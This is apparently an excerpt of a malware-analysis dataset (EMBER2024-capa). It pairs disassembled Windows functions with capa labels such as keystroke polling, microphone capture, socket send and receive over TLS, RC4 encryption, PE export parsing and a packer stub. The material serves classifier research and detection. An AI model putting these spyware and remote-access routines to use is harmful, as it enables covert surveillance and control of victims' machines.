joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43e15a
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [pe_dos_header]
mov eax, dword ds:[eax + 0x34]
mov ebp, dword ds:[eax + 0xb8]
jmp 0x43e168
push eax
push ecx
push esi
push ebp
mov eax, dword fs:[0x30]
test eax, eax
js 0x43e14a
mov eax, dword ds:[eax + 0xc]
mov esi, dword ds:[eax + 0x1c]
lodsd eax, dword [esi]
mov ebp, dword ds:[eax + 8]
mov dword [ebx + 0x60], ebp
mov eax, ebp
cmp word [eax], 0x5a4d
jne 0x43e145
add eax, 0x3c
mov ecx, dword [eax]
add ecx, dword [ebx + 0x60]
cmp word [ecx], 0x4550
jne 0x43e145
add ecx, 0x78
mov esi, dword [ecx]
add esi, dword [ebx + 0x60]
add esi, 0x18
lodsd eax, dword [esi]
mov dword [ebx + 0x64], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x68], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x6c], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x70], eax
pop ebp
pop esi
pop ecx
pop eax
ret
Function at 0x404301
Capabilities:
Log keystrokes via polling
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffadc
push esi
lea esi, [esp + 0x40]
mov dword [esi], 0x2e455845
mov dword [esi + 4], 0
push esi
call dword [sym.imp.USER32.dll_CharLowerA]
cmp dword [esi], 0x2e657865
jne 0x404332
cmp eax, esi
je 0x404333
leave
ret 4
add byte [ebx - 0x17a7dbcc], cl
sbb byte [eax], al
add byte [eax], al
mov esi, dword [esp]
pop eax
call fcn.00404354
cmp eax, 0
je 0x40434b
cmp eax, edx
jbe 0x404363
jmp eax
push eax
notrack jmp dword ds:[sym.imp.KERNEL32.dll_ExitProcess]
call 0x23408638
lds eax, [eax + 0x3b]
les esp, [esi]
jp 0x404372
call dword es:[sym.imp.USER32.dll_GetKeyState]
dec eax
mov esp, 0x480042d0
and eax, 0x7ffe
sub ax, 0x7ffc
xchg ecx, eax
push ecx
ror dword [esp], 4
rol dword [esp], 7
pop ecx
xchg ecx, eax
call dword es:[eax*4 + sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, eax
dec eax
and eax, 6
lea eax, [eax*2 - 0x5b]
lea ecx, [0]
sub ecx, 0x10000
or eax, ecx
and eax, 0xffffffff
je 0x404372
push eax
add ecx, esp
xor dword [ecx + 0x10000], 0xffbf5c43
je 0x404372
sub ecx, esp
pop eax
ret

Function at 0x404354
Capabilities:
Log keystrokes via polling

Disassembly:
push esp
push 0
mov eax, ebp
push 0
push 0x10000
call dword es:[sym.imp.GDI32.dll_SetDCBrushColor]
and eax, ebp
inc eax
cmp eax, esp
jp 0x404372

Function at 0x401000
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ebp, esp
add esp, 0xfffffffc
push esi
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
mov dword [0x403cdc], eax
lea ecx, [ebp - 4]
push eax
push ecx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov eax, dword [ebp + 4]
mov dword [0x403b2d], eax
xor eax, eax
mov ecx, 0x16
push eax
dec ecx
jne 0x401031
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
lea ecx, [ebp - 0x5c]
push ecx
mov eax, 0x30
mov dword [ecx], eax
mov eax, dword [0x403b2d]
mov dword [ebp - 0x48], eax
mov eax, 0x40168b
mov dword [ebp - 0x54], eax
mov ecx, str.Hello
mov dword [ebp - 0x34], ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
xor ecx, ecx
push ecx
push dword [0x403b2d]
push ecx
push ecx
push 0x12e
push 0x7a
push 0x34c
push 0x2aa
push 0x40000
lea eax, str.klavesn
push eax
mov eax, str.Hello
push eax
push ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x403d28], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x403d28]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
xor ebx, ebx
lea edi, [ebp - 0x50]
jmp 0x4010ce
push edi
call dword [sym.imp.USER32.dll_TranslateMessage]
push edi
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.USER32.dll_GetMessageA]
test al, al
jne 0x4010c0
mov esp, ebp
ret
Function at 0x46d370
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section..ldko
lea edi, [esi - 0x42000]
push edi
or ebp, 0xffffffff
jmp 0x46d392
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x46d399
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x46d388
mov eax, 1
add ebx, ebx
jne 0x46d3ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x46d3bc
jne 0x46d3db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x46d3db
dec eax
add ebx, ebx
jne 0x46d3c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x46d3a0
add ebx, ebx
jne 0x46d3d7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x46d42d
xor ecx, ecx
sub eax, 3
jb 0x46d3f3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x46d462
sar eax, 1
mov ebp, eax
jmp 0x46d3fe
add ebx, ebx
jne 0x46d3fe
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x46d3cc
inc ecx
add ebx, ebx
jne 0x46d40c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x46d3cc
add ebx, ebx
jne 0x46d419
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x46d40e
jne 0x46d42a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x46d40e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x46d44c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x46d43e
jmp 0x46d38e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x46d44c
add edi, ecx
jmp 0x46d38e
pop esi
mov edi, esi
mov ecx, 0x2ee
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x46d46a
cmp byte [edi], 9
jne 0x46d46a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x46d46f
lea edi, [esi + 0x6b000]
mov eax, dword [edi]
or eax, eax
je 0x46d4de
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x6d000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x6d050]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x46d49c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x6d058]
or eax, eax
je 0x46d4d8
mov dword [ebx], eax
add ebx, 4
jmp 0x46d4b9
call dword [esi + 0x6d054]
mov ebp, dword [esi + 0x6d05c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x46d512
sub esp, 0xffffff80
jmp 0x401892
Function at 0x414f40
Capabilities:
Get file size

Disassembly:
sub esp, 0x10
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
push 3
push 0x80000000
push eax
or edi, 0xffffffff
or ebx, 0xffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x414f74
or eax, eax
or edx, esi
pop edi
pop esi
pop ebx
add esp, 0x10
ret
lea ecx, [esp + 0x10]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x414f8d
mov edi, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov edx, ebx
pop ebx
add esp, 0x10
ret

Function at 0x414fa0
Capabilities:
Check os version

Disassembly:
sub esp, 0x120
mov eax, dword [0x425044]
xor eax, esp
mov dword [esp + 0x11c], eax
push esi
push 0x118
xor esi, esi
lea eax, [esp + 0xc]
push esi
push eax
call fcn.00405a30
add esp, 0xc
lea ecx, [esp + 4]
push ecx
mov dword [esp + 8], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x415079
mov eax, dword [esp + 8]
cmp eax, 5
jne 0x415045
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x41501e
cmp word [esp + 0x118], 4
jb 0x415079
mov esi, 1
mov eax, esi
pop esi
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0040113c
add esp, 0x120
ret
cmp eax, 2
jae 0x415028
cmp eax, 1
jne 0x415079
mov esi, 3
mov eax, esi
pop esi
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0040113c
add esp, 0x120
ret
cmp eax, 6
jne 0x415079
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x41506f
mov esi, 4
mov eax, esi
pop esi
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0040113c
add esp, 0x120
ret
cmp eax, 1
jne 0x415079
mov esi, 5
mov ecx, dword [esp + 0x120]
mov eax, esi
pop esi
xor ecx, esp
call fcn.0040113c
add esp, 0x120
ret

Function at 0x415220
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x4236c4
mov edi, eax
push 0x83
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x415293
push ebp
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
mov eax, dword [esp + 0x14]
push esi
mov dword [eax], esi
call fcn.00401fd3
push esi
mov edi, eax
push 0
push edi
call fcn.00405a30
push esi
push ebp
push edi
call fcn.00406be0
add esp, 0x1c
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop ebp
mov eax, edi
pop edi
pop esi
pop ebx
ret
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x40170f
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
lea eax, [esp + 0x14]
push ecx
pop esi
push eax
mov ecx, 0x474d98
push edx
pop edi
call fcn.00401fc0
mov edx, dword [esp + 0x10]
sub eax, eax
inc eax
movzx ebx, di
mov word [0x472aa8], ax
shr ebx, 3
movzx eax, si
imul eax, ebx
movd xmm0, edx
cvtdq2pd xmm0, xmm0
mov dword [0x472aac], edx
mov word [0x472ab6], di
shr di, 3
movzx ecx, di
push 0x30008
imul eax, edx
shr edx, 0x1f
mov word [0x472aaa], si
addsd xmm0, qword [edx*8 + 0x46d2a0]
mov dword [0x472ab0], eax
movzx eax, si
xor esi, esi
imul ecx, eax
xor eax, eax
mov word [0x472ab8], ax
cvtpd2ps xmm0, xmm0
push esi
push 0x40186a
push 0x472aa8
push 0xffffffffffffffff
push 0x472ac8
mov word [0x472ab4], cx
mulss xmm0, dword [0x46d24c]
cvttss2si eax, xmm0
imul ebx, eax
mov dword [0x472abc], eax
mov dword [0x472a80], ebx
call dword [sym.imp.WINMM.dll_waveInOpen]
push esi
pop ecx
call fcn.004017ec
inc esi
cmp esi, 2
jb 0x4017c7
push dword [0x472ac8]
call dword [sym.imp.WINMM.dll_waveInStart]
pop edi
pop esi
lea ecx, [esp + 0xc]
pop ebx
jmp fcn.00401fd8

Function at 0x4017ec
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push ebp
push esi
push edi
push dword [0x472a80]
push ecx
pop esi
mov ebp, 0x474d58
push esi
push ebp
pop ecx
call fcn.00401e65
mov ecx, eax
call fcn.00401f9d
mov edi, dword [0x474d94]
push esi
pop ebx
shl ebx, 5
push ebp
pop ecx
push esi
add edi, ebx
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
mov dword [edi], eax
mov eax, dword [0x472a80]
mov dword [edi + 4], eax
sub eax, eax
push 0x20
push edi
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], eax
push dword [0x472ac8]
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
mov eax, dword [0x474d94]
push 0x20
add eax, ebx
push eax
push dword [0x472ac8]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4048c8
Capabilities:
Connect socket

Disassembly:
push ebp
push esp
pop ebp
mov eax, dword [0x472adc]
sub esp, 0x1c
push ebx
push edi
push dword [eax + 0x10]
mov edi, ecx
push dword [eax + 0x18]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x404a1b
cmp byte [edi + 1], al
je 0x404a17
cmp byte [edi + 0x31], al
je 0x404926
sub esp, 0x18
lea eax, [edi + 0x34]
push esp
pop ecx
mov edx, str.TLS_Handshake...______
push eax
call fcn.0040531e
sub esp, 0x14
mov ecx, esp
push 0x465fa4
call fcn.00402093
call fcn.0041b43d
add esp, 0x30
call fcn.00420bae
mov dword [edi + 0x4c], eax
test eax, eax
jne 0x404941
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_1
jmp 0x404a7b
mov edx, dword [edi + 4]
mov ecx, eax
call fcn.00420ddd
cmp eax, 1
je 0x404987
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_2
call fcn.00402093
sub esp, 0x18
push esp
pop ecx
push 0x465f08
call fcn.00402093
call fcn.0041b43d
add esp, 0x30
mov ecx, dword [edi + 0x4c]
call fcn.00420bee
and dword [edi + 0x4c], 0
jmp 0x404a97
mov ecx, dword [edi + 0x4c]
call fcn.0042198e
cmp eax, 1
je 0x4049c4
sub esp, 0x18
push esp
pop ecx
push str.TLS_Authentication_Failed
call fcn.00402093
sub esp, 0x18
push esp
pop ecx
push 0x465f08
call fcn.00402093
call fcn.0041b43d
mov ecx, dword [edi + 0x4c]
add esp, 0x30
call fcn.00421000
jmp 0x404976
mov ecx, dword [edi + 0x4c]
call fcn.00420d54
mov dword [edi + 0x50], eax
test eax, eax
jne 0x4049f9
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_3
call fcn.00402093
sub esp, 0x18
push esp
pop ecx
push 0x465f08
call fcn.00402093
call fcn.0041b43d
add esp, 0x30
xor ebx, ebx
push ebx
push 1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
push 1
push ebx
push ebx
mov dword [edi + 0x70], eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [edi + 0x6c], eax
mov al, 1
jmp 0x404a99
cmp byte [edi + 0x31], 0
je 0x404a97
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
pop ecx
sub ecx, 0x2736
je 0x404a97
sub ecx, 0x17
je 0x404a71
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.0041ca2f
sub esp, 0x18
mov edx, str.Connection_Failed:
push esp
pop ecx
push eax
call fcn.004052fd
sub esp, 0x14
push esp
pop ecx
push 0x465f08
call fcn.00402093
call fcn.0041b43d
add esp, 0x30
lea ecx, [ebp - 0x1c]
call fcn.00401fd8
jmp 0x404a97
sub esp, 0x18
mov ecx, esp
push str.Connection_Refused
call fcn.00402093
sub esp, 0x18
push esp
pop ecx
push 0x465f08
call fcn.00402093
call fcn.0041b43d
add esp, 0x30
xor al, al
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404aa1
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
push ecx
pop edi
lea ecx, [ebp + 0xc]
call fcn.0040247c
push 4
pop esi
xor ebx, ebx
lea ecx, [ebp - 0x20]
push ebx
add eax, esi
push 0xc
mov dword [ebp - 8], eax
call fcn.0040520c
push esi
lea eax, [edi + 0x2c]
push eax
push ebx
lea ecx, [ebp - 0x20]
call fcn.004051e3
push eax
call fcn.00436850
add esp, 0xc
lea eax, [ebp - 8]
lea ecx, [ebp - 0x20]
push esi
push eax
push esi
call fcn.004051e3
push eax
call fcn.00436850
add esp, 0xc
lea eax, [ebp + 8]
lea ecx, [ebp - 0x20]
push esi
push eax
push 8
call fcn.004051e3
push eax
call fcn.00436850
add esp, 0xc
lea eax, [ebp + 0xc]
lea ecx, [ebp - 0x20]
push eax
call fcn.00403376
cmp byte [edi + 1], bl
jne 0x404b40
push ebx
lea ecx, [ebp - 0x20]
call fcn.0040247c
push eax
lea ecx, [ebp - 0x20]
call fcn.00401fab
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
push eax
pop esi
jmp 0x404b7b
or ebx, 0xffffffff
push ebx
push dword [edi + 0x70]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ecx
lea ecx, [ebp - 0x20]
call fcn.0040247c
push eax
lea ecx, [ebp - 0x20]
call fcn.00401fab
mov ecx, dword [edi + 0x50]
mov edx, eax
call fcn.00420f88
pop ecx
push eax
pop esi
pop ecx
push dword [edi + 0x70]
test esi, esi
cmove esi, ebx
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea ecx, [ebp - 0x20]
call fcn.00401fd8
lea ecx, [ebp + 0xc]
call fcn.00401fd8
pop edi
mov eax, esi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret 0x1c

Function at 0x404b96
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
push edi
mov edi, ecx
cmp byte [edi + 1], 0
je 0x404bcd
push 0xffffffffffffffff
push dword [edi + 0x6c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0xc]
push ecx
push dword [esp + 0x14]
mov ecx, dword [edi + 0x4c]
call fcn.00420fc4
pop ecx
pop ecx
push dword [edi + 0x6c]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, esi
jmp 0x404be0
push 0
push dword [esp + 0x14]
push dword [esp + 0x14]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_recv]
pop edi
pop esi
ret 0xc

Function at 0x404be5
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
mov dword [ecx + 8], eax
xor eax, eax
push eax
push eax
push ecx
push 0x404c01
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret 4
Function at 0x404cc3
Capabilities:
Create thread

Disassembly:
sub esp, 0x38
and dword [esp + 4], 0
push ebx
push ebp
push esi
push ecx
pop esi
lea ecx, [esp + 0x14]
push edi
and dword [esi + 0x54], 0
call fcn.004020df
mov bh, byte [esp + 0x54]
lea eax, [esi + 0x58]
mov edi, dword [esp + 0x4c]
push eax
lea eax, [esp + 0x18]
push edi
pop ecx
push eax
call fcn.00401fab
push eax
push esi
pop ecx
call fcn.00404efb
test al, al
je 0x404e13
movzx ecx, byte [esi + 0x30]
mov ebp, dword [esp + 0x14]
mov dword [esp + 0x54], ecx
add ebp, ecx
mov ecx, edi
call fcn.0040247c
cmp ebp, eax
jbe 0x404d31
push edi
pop ecx
mov bl, 1
call fcn.0040247c
mov ecx, ebp
sub ecx, eax
mov dword [esi + 0x54], ecx
jmp 0x404d33
xor bl, bl
test bl, bl
jne 0x404e13
push 0xffffffffffffffff
push dword [esp + 0x58]
lea eax, [esp + 0x38]
push edi
pop ecx
push eax
call fcn.004041a2
push eax
lea ecx, [esp + 0x1c]
call fcn.00401fe2
lea ecx, [esp + 0x30]
call fcn.00401fd8
push dword [esp + 0x14]
lea eax, [esp + 0x34]
push 0
push eax
lea ecx, [esp + 0x24]
call fcn.004041a2
push eax
lea ecx, [esp + 0x1c]
call fcn.00401fe2
lea ecx, [esp + 0x30]
call fcn.00401fd8
lea eax, [esp + 0x18]
test bh, bh
jne 0x404da4
sub esp, 0x18
push esp
pop ecx
push eax
call fcn.004020f6
push esi
call dword [esp + 0x6c]
add esp, 0x1c
jmp 0x404de1
push eax
lea ecx, [esi + 0xc]
call fcn.00401fc0
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x24], eax
xor eax, eax
push eax
push eax
push esi
push dword [esp + 0x5c]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
push ebp
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.004041a2
push eax
mov ecx, edi
call fcn.00401fe2
lea ecx, [esp + 0x30]
call fcn.00401fd8
push edi
pop ecx
call fcn.0040247c
test eax, eax
lea eax, [esi + 0x58]
jne 0x404ce9
lea ecx, [esp + 0x18]
call fcn.00401fd8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret 0xc

Function at 0x404f51
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
push ecx
pop esi
push edi
cmp byte [esi + 0x5c], 0
jne 0x404fea
cmp byte [ebp + 0xc], 0
mov edi, dword [ebp + 8]
jne 0x404f74
mov byte [esi + 0x7c], 1
jmp 0x404fc0
cmp byte [0x472d48], 0
je 0x404fc0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push edi
pop edx
lea ecx, [ebp - 0x28]
call fcn.0041badc
sub esp, 0x18
mov edx, str.KeepAlive______________Enabled__Timeout:
push esp
pop ecx
push eax
call fcn.004052fd
sub esp, 0x14
mov ecx, esp
push 0x465fa4
call fcn.00402093
call fcn.0041b43d
add esp, 0x30
lea ecx, [ebp - 0x28]
call fcn.00401fd8
mov dword [esi + 0x74], edi
sub edi, edi
push edi
push edi
push edi
push edi
mov byte [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
push edi
push esi
push 0x405150
push edi
push edi
mov dword [esi + 0x60], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
jmp 0x404fec
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x406ccd
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push ebp
push esi
xor esi, esi
push edi
push ecx
pop edi
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x46d290]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x406cd7
mov ebp, dword [esp + 0x14]
mov ebx, esi
sub edx, edx
push ebx
pop eax
div dword [esp + 0x18]
movzx eax, byte [edx + ebp]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x406d1d
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x406cfc
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x406d3c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x400
lea eax, [esp]
push ebx
push esi
push edi
push 0x400
push ecx
sub esi, esi
push eax
mov edi, esi
call fcn.00436850
mov edx, dword [esp + 0x420]
add esp, 0xc
push esi
pop ebx
add edx, 1
je 0x406dcc
push ebp
mov ebp, dword [esp + 0x414]
inc esi
and esi, 0x800000ff
jns 0x406d82
dec esi
or esi, 0xffffff00
inc esi
mov eax, dword [esp + esi*4 + 0x10]
add edi, eax
and edi, 0x800000ff
jns 0x406d98
dec edi
or edi, 0xffffff00
inc edi
mov cl, al
mov eax, dword [esp + edi*4 + 0x10]
mov dword [esp + esi*4 + 0x10], eax
movzx eax, cl
mov dword [esp + edi*4 + 0x10], eax
mov ecx, dword [esp + esi*4 + 0x10]
add ecx, eax
and ecx, 0x800000ff
jns 0x406dbf
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [esp + ecx*4 + 0x10]
xor byte [ebx + ebp], al
inc ebx
cmp ebx, edx
jb 0x406d71
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x400
ret 8

Function at 0x407260
Capabilities:
Terminate process

Disassembly:
sub eax, eax
inc eax
cmp dword [0x4719d0], eax
jne 0x40768a
ret
cmp dword [0x4719d0], 1
jne 0x407697
xor eax, eax
inc eax
ret
push esi
push dword [0x472d44]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 0x4752d8
mov edx, 0x466468
push esi
pop ecx
call fcn.004077b7
test al, al
je 0x4076c4
push esi
pop ecx
call fcn.00401f04
push eax
pop ecx
jmp 0x4076c9
mov ecx, 0x472b38
call fcn.0040766d
pop esi
or eax, eax
jne 0x4076da
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x475320
call fcn.00401fab
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 2
mov dword [0x472d44], eax
pop eax
ret